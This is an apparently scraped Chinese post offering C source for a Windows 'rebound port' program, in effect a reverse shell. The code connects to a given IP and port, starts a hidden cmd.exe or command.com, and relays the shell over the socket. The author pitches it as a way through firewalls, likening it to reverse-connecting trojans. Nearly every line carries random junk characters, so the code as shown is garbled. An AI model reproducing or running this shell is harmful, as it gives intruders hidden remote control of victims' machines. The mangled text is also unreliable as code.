Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 xKkVSEup  
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/* ============================== ^5^ zo~^o  
Rebound port in Windows NT TZ`]#^kU  
By wind,2006/7 )%nt61P\W  
===============================*/ &B{Jxc`VA  
#include reD[j,i&t.  
#include f%(e,KgW=  
\?p9qR;"4  
#pragma comment(lib,"wsock32.lib") h}c6+@w&-  
@$N*lrM2  
void OutputShell(); o i,
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SOCKET sClient; & Q|f*T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iZVT% A+q  
0t/z"  
void main(int argc,char **argv) #o}{cXX#  
{ )PLc+J.I  
WSADATA stWsaData; l[x`*+ON:2  
int nRet; 2t Z\{=  
SOCKADDR_IN stSaiClient,stSaiServer; 7J)Hwl  
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if(argc != 3) AQ_#uxI'oa  
{ JOL Z2  
printf("Useage:\n\rRebound DestIP DestPort\n"); !W6    
return; *N&^bF"SF  
} 7lBQd(  
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); b;t}7.V'%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FB^dp}  
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stSaiClient.sin_family = AF_INET; 1)c=15^  
stSaiClient.sin_port = htons(0); GoZJDE3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JUUF^/J  
IhFw{=2*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NnSI)*%'  
{ h<z/LL8|  
printf("Bind Socket Failed!\n"); *+1"S ]YF  
return; u9y-zhj_$  
} .k?hb]2N  
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stSaiServer.sin_family = AF_INET; Ltq*Vcl\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "}y3@ M^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ybuSqFy`$  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 30T:* I|  
{ E]e[Ty1
 
printf("Connect Error!");
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return; i}
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} e]L3=R;  
OutputShell(); ]jT[dX|?  
} L-oPb)  
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void OutputShell() CI3_lWax%  
{ 4OESsN$O  
char szBuff[1024]; 8^ZM U{  
SECURITY_ATTRIBUTES stSecurityAttributes; 3=eGS  
OSVERSIONINFO stOsversionInfo; /%@
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @
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STARTUPINFO stStartupInfo; 8Jly!=Qm5  
char *szShell; +cp
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PROCESS_INFORMATION stProcessInformation; L"zgBB?K6  
unsigned long lBytesRead; myo~Qqt?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]t!}D6p  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <45dy5!Tz  
stSecurityAttributes.lpSecurityDescriptor = 0; 2K7:gd8Ru  
stSecurityAttributes.bInheritHandle = TRUE; Ok.DSOT  
9.w3VF_C  
i
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OuJy$e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "%@=?X8  
i?s&\3--Y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !j\&BAxTEk  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {bsr 9.k(  
stStartupInfo.wShowWindow = SW_HIDE; H_nOE(i<z  
stStartupInfo.hStdInput = hReadPipe; sp]y!zb"5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J$=b&$I(  
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GetVersionEx(&stOsversionInfo); )T~ +>+t  
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switch(stOsversionInfo.dwPlatformId) sMpC4E  
{ #__'U6`(  
case 1: '~x_
 
szShell = "command.com"; \iTPJcb5  
break; p]IhQnj2  
default: 'rx,f  
szShell = "cmd.exe"; m_O=X8uj"D  
break; 'MM~~:  
} q,h.W JI  
'H-YFB$l  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t6>Qe  
n[p9$W`  
send(sClient,szMsg,77,0); [Kj#KJxy  
while(1) F v^80M=z  
{ Spw=+z<<Ub  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P`Wf'C^h  
if(lBytesRead) /r 2.j3:l  
{ U~`^Y8UF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /01(9(  
send(sClient,szBuff,lBytesRead,0); (DaP~*c3cC  
} tNNg[;0  
else )( jNd&H  
{ l4.@YYzbp.  
lBytesRead=recv(sClient,szBuff,1024,0); sf&K<C](  
if(lBytesRead<=0) break; lNnbd?D8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .Im+()b&&  
} f(ec/0W  
} F$.s6Hh.  
ENF@6]  
return; )ZT0zIG  
}